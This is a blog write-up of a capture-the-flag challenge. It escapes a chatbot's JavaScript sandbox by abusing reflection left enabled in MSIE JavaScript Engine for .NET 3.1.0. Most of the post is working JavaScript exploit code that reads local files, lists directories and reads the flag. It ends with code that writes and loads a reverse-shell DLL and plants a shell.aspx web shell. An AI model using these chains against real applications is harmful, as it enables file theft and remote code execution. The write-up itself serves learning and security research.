Published on

Exploiting a JavaScript Engine for .NET

Authors
  • avatar
    Name
    Amr Zaki
    Twitter

Write up for Custom Chatbot challenge in ICMTC Qualifications 2024 round

This blog is about exploiting a misconfiguration in version 3.1.0 of MSIE JavaScript Engine for .NET library and achieving Local file Disclosure, Arbitrary File Write, and Remote Code Execution, which was a hard CTF challenge in ICMTC CTF 2024 qualifications. Let’s begin.

The challenge was called Custom ChatBot , it had 0 solves in the competition, and the author decided to keep it active for a few more days if anyone wanted to try solving it, and I did. Let’s go through how I managed to do so.

Challenge Description image

The challenge had 2 important functionalities, one to customize the ChatBot with JavaScript, and another to interact with the ChatBot.

image
image

As you can see, the simple function was executed and a reply has been sent back to us. From the challenge description, we know the library responsible for parsing the JavaScript code and we know the version so first thing I did was search for a known exploit or CVE but I found none. So it was time we start poking around and understand the environment.

Understanding the application

The first thing to do is to know what context we are running in, and what objects are available to us, how could we do that? The first thing that comes to mind is the this object, so let me explain in brief the importance of it.

In JavaScript, and some other programming languages, the this keyword refers to the object it belongs to. Its value depends on the context in which it is used. To better explain contexts, I will showcase a simple example of running JavaScript in the browser’s console. If we ran console.log(this) in a browser’s console, we will get the window object, and we can access any attribute of the window object because that’s the context we are running inside of.

image

As you can see, we have a lot of members available to us in the window object and we accessed one of them which was the document object. We can also access functions defined in the window context like atob for example.

image

So now we need to traverse the this object in the application context and list all of its members using this javascript code:

function processMessage(message) {  
    try {  
        var objs = [];  
        for (var obj in this) {  
            objs.push(obj);  
        }  
        return "Objects: " + objs.join(", ");  
    } catch (e) {  
        return "Error: " + e.message;  
    }  
}  
var response = processMessage(message);  
response;
image

The result we got had something we didn’t define in the JavaScript code, which is the ProcessChat_Helper object. So I tried to access it, and I got the following response:

this.ProcessChat_Helper 
image

The result tells us that this object is a .Net object of class jail.Controllers.ProcessChatHelper. How did I know if it was a .Net object? If I defined a JavaScript object and tried to access it the same way we get something different completely.

var jsObject = {};  
this.jsObject
image

So how and why can we access a .Net object in the JavaScript context? I found the answer while trying to build a local copy of the challenge and here's the code responsible for exposing a .Net Object:

// Code snippet.   
using (var engine = new MsieJsEngine())  
{  
  // Expose the C# object to the JavaScript context  
  engine.EmbedHostObject("ProcessChat_Helper", ProcessChatHelperObject);  
  // Evaluate the script  
  var result = engine.Evaluate<string>(script);  
}

Reflection in C#

That ProcessChat_Helper object is an instance of the ProcessChatHelper class, and we don’t know how that class was implemented so we need to enumerate the public methods inside of the object, but how could we do that? After some searching, I got to the library repo on GitHub and noticed something strange in the release right after 3.1.0.

image

The release says that the default value of AllowReflection is now set to false by default which wasn’t the case in v3.1.0. So what is Reflection? I asked my friend ChatGPT, who by the way was a great help during the whole process, and he said the following:

image

In short, with this setting set to true, if we can access a .Net object, then we can access its class’s properties, and execute the public methods during runtime. So let us see what methods we have in the ProcessChat_Helper object, we can do so with this code:

function processMessage(message) {  
    try {  
        var methods = [];  
        var processChatHelper = this["ProcessChat_Helper"];  
        if (processChatHelper !== undefined) {  
            methods.push("Methods: " + Object.getOwnPropertyNames(processChatHelper).join(", "));  
        }  
        return "" + methods.join(", ");  
    } catch (e) {  
        return "Error: " + e.message;  
    }  
}  
var response = processMessage(message);  
response;
image

We have 7 methods in the object, and we can invoke them, for example, we can invoke the GetHashCode() method with this.ProcessChat_helper.GetHashCode() and we would get the hashcode of the object.

this.ProcessChat_Helper.GetHashCode()
image

Types and Methods

When I tried to invoke the GetAvailableLanguages() method, I got the following:

this.ProcessChat_Helper.GetAvailableLanguages()
image

We got a return type back, which is an array of strings, and not the actual data, and because Reflection is enabled we can invoke that Type’s methods. For example, if we want to get the length of the array returned by the function we would invoke the GetLength(0) method use GetValue(index)to get the value of each index :

// Zero here represents the dimention of the array, 1D array in our case  
var len = this.ProcessChat_Helper.GetAvailableLanguages().GetLength(0); // 2  
var elements = [];  
for(let i = 0; i < len; i++) {  
  elements.push(this.ProcessChat_Helper.GetAvailableLanguages().GetValue(i));  
}  
elements.join(', ')
image

So far we have been able to invoke ProcessChatHelper class methods, but we have 1 more class, System.String[] and with this code, we can list the functions of this class as well by utilizing the GetMethods() function which returns an array of all the methods in the class.

var methodsArray = this.ProcessChat_Helper.GetAvailableLanguages().GetType().GetMethods();   
var len = methodsArray.GetLength(0);  
var methods = [];  
for( let i = 0; i < len; i++) {  
   var typeName = methodsArray.GetValue(i).ToString();  
   methods.push(typeName);  
};  
methods.join(', ')
image

We can also get the BaseClass which is a property of types that gets the type from which the current type directly inherits, i.e. gets the type of the parent class. When we do this with System.String[] type, we get System.Object which is going to be very useful to us in the next section.

this.ProcessChat_Helper.GetType().BaseType
image

Assembly

So far, we have System.Object, System.String[] and none of them has a method that enables us to read the flag file. Now comes the Assembly property. The C# documentation states that the Assembly property of a type returns an assembly instance, think of it as a big object, that describes the assembly or namespaces containing the type.

In other words, if we have a type System.Object and we accessed its Assembly property, then we have a big assembly containing all the classes that use the System.Object class in the current context. This is helpful for us because we wanted to access other types that can read local files, we can do so by accessing the ReadAllText method in the System.IO.File type. The following code prints all the types in the assembly.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var len = typesArray.GetLength(0); // Array length = 2594 :"D   
var types= [];  
for( let i = 0; i < len; i++) {  
   types.push(typesArray.GetValue(i).ToString());  
};  
types.join(", ")
image

These are all types in the Assembly and we have 2594 types.

Local File Disclosure

We now know that we need a System.IO.File type, we need to get the index of the type in the array so we can access it directly.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var len = typesArray.GetLength(0);  
var types= [];  
for( let i = 0; i < len; i++) {  
   var typeName = typesArray.GetValue(i).ToString();  
   if(typeName == "System.IO.File"){  
      var index = i;  
      break;  
   }  
};  
typesArray.GetValue(index).ToString() + "Type found at index: " + index
image

Now we will use the same approach but on the System.IO.File type to get the ReadAllText method.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();  
var len = fileTypeMethods.GetLength(0);  
var methods = {};  
for( let i = 0; i < len; i++) {  
   var methodName = fileTypeMethods.GetValue(i).ToString();  
   if(methodName.includes("ReadAllText")){  
      var index = i;  
      methods[i] = methodName;  
   }  
};  
JSON.stringify(methods)
image

The function we need is at index 49, so let’s try to invoke it with a path, we will use Invoke on the method. From the documentation, the invoke method we want takes 2 parameters and both should be objects, the first parameter is the instance of the class we want to invoke its method, and the second parameter should be an array containing the arguments to the method. Since the ReadAllText is a static method, the first argument should be null.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();  
arg = ["c:\\windows\\win.ini"];  
fileTypeMethods.GetValue(49).Invoke(null, arg)
image

We got an error! the reason behind this error is that the Invoke function takes .Net objects as parameters and not JavaScript objects. So we would need a .Net object or a .Net Array of strings that has one element which would be our path for the function.

So back to enumeration, we need to invoke a static function, since we don’t have an instance of the class and we need it to be null, that doesn’t take parameters and returns an array of strings with one element.

With some enumeration, I found that GetCommandLineArgs function of the System.Environment class does just that. So let’s invoke it and get the string array.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var len = typesArray.GetLength(0);   
var types= [];  
for( let i = 0; i < len; i++) {  
   var typeName = typesArray.GetValue(i).ToString();  
   if(typeName == "System.Environment"){  
      var typeIndex = i;  
      break;  
   }  
};  
var envType = typesArray.GetValue(typeIndex); // typeIndex = 128   
var oneElemArr = envType.GetMethod("GetCommandLineArgs").Invoke(null,null).GetValue(0);   
oneElemArr
image

With this array, we can set the element to whatever file path we want to read with SetValue(Value, index) and pass it to the invoke function and we will have Local File Disclosure.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var fileReadMethods = typesArray.GetValue(2008).GetMethods();  
var envType = typesArray.GetValue(128);  
var oneElemArr = envType.GetMethod("GetCommandLineArgs").Invoke(null,null);   
oneElemArr.SetValue("C:\\Windows\\System32\\drivers\\etc\\hosts", 0);  
fileReadMethods.GetValue(49).Invoke(null, oneElemArr)
image

Reading the Flag

Now for the last piece of the challenge, we need to read the flag file in the c:\temp directory, but since we don’t know the flag name and it’s not flag.txt , and trust me I tried it, we need to list the files in the temp directory and then use the readfile method to read it.

For Listing the files in a directory, the GetFiles(String path) of the System.IO.Directory type does the trick so let’s get it.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var len = typesArray.GetLength(0);   
var types = [];  
for( let i = 0; i < len; i++) {  
   var typeName = typesArray.GetValue(i).ToString();  
   if(typeName == "System.IO.Directory"){  
      var typeIndex = i;  
      break;  
   }  
};  
var dirTypeMethods = typesArray.GetValue(typeIndex).GetMethods();  
var len = dirTypeMethods.GetLength(0);  
var methods = {};  
for( let i = 0; i < len; i++) {  
   var methodName = dirTypeMethods.GetValue(i).ToString();  
   if(methodName.includes("GetFiles")){  
      var index = i;  
      methods[i] = methodName;  
   }  
};  
var getFilesMethod = dirTypeMethods.GetValue(17); // GetFile(String) at index 17  
var envType = typesArray.GetValue(128);  
var oneElemArr = envType.GetMethod("GetCommandLineArgs").Invoke(null,null);   
oneElemArr.SetValue("C:\\Temp", 0);  
// Getting all the filenames in the c:\\temp  
tempFilesArr = getFilesMethod.Invoke(null, oneElemArr);  
var len = tempFilesArr.GetLength(0);  
var fileReadMethod = typesArray.GetValue(2008).GetMethods().GetValue(49);  
for( let i = 0; i < len; i++) {  
   var fileName = tempFilesArr.GetValue(i);  
   oneElemArr.SetValue(fileName, 0);  
   // the Flag filename contais Flag and some other random values  
   if(fileName.includes("Flag")) {  
     // read the flag file  
     var fileContent = fileReadMethod.Invoke(null, oneElemArr);  
     break;  
   }  
};  
fileContent
image

Remote Code Execution

Regarding the RCE, I wasn’t able to get it to work on remote for some reason unknown to me, but it worked locally so I will share the code for it maybe it works with someone else.

The idea behind the RCE is to write a malicious .dll file on the server with WriteAllText(String content, String path) in System.IO.File class and then load it with LoadFile(String path) function in System.Reflection.Assembly class. You can find the code for the reverse shell dll file here. After compiling it, encode it to hex and write the bytes in \x69 format, and replace them in the code.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();  
var writeFileMethod = fileTypeMethods.GetValue(51);  
var writeFileArgs = this.ProcessChat_Helper.GetAvailableLanguages();  
writeFileArgs.SetValue("c:\\temp\\z4ki.dll", 0);  
writeFileArgs.SetValue("\x7a\x34\x6b\x69", 1); // <--  Edit this  
writeFileMethod.Invoke(null, writeFileArgs);  
var assemblyType = objectClass.Assembly.GetType().BaseType  
var oneElemArr = objectClass.Assembly.GetTypes().GetValue(128).GetMethod("GetCommandLineArgs").Invoke(null,null);  
oneElemArr.SetValue("C:\\Temp\\z4ki.dll",0);  
assemblyType.GetMethod("LoadFile").Invoke(null,oneElemArr);

Another way to get RCE

There’s another, let’s say easier way to get Remote Code Execution on the library by writing a shell.aspx file in the webroot of the server. But unfortunately, the webroot wasn’t writeable but here’s the code anyway for future reference.

var objectClass = this.ProcessChat_Helper.GetType().BaseType;  
var typesArray = objectClass.Assembly.GetTypes();  
var fileTypeMethods = typesArray.GetValue(2008).GetMethods();  
var writeFileMethod = fileTypeMethods.GetValue(51);  
var writeFileArgs = this.ProcessChat_Helper.GetAvailableLanguages();  
writeFileArgs.SetValue("c:\\ChatBot\\wwwroot\\shell.aspx", 0);  
writeFileArgs.SetValue("\x7a\x34\x6b\x69", 1); // <--  Edit this  
writeFileMethod.Invoke(null, writeFileArgs);

After that just navigate to http://<ip>/shell.aspx and you will find your shell.

If you reached this far I salute you and hope you enjoyed reading and maybe learned something new, and if you have any questions hit me on LinkedIn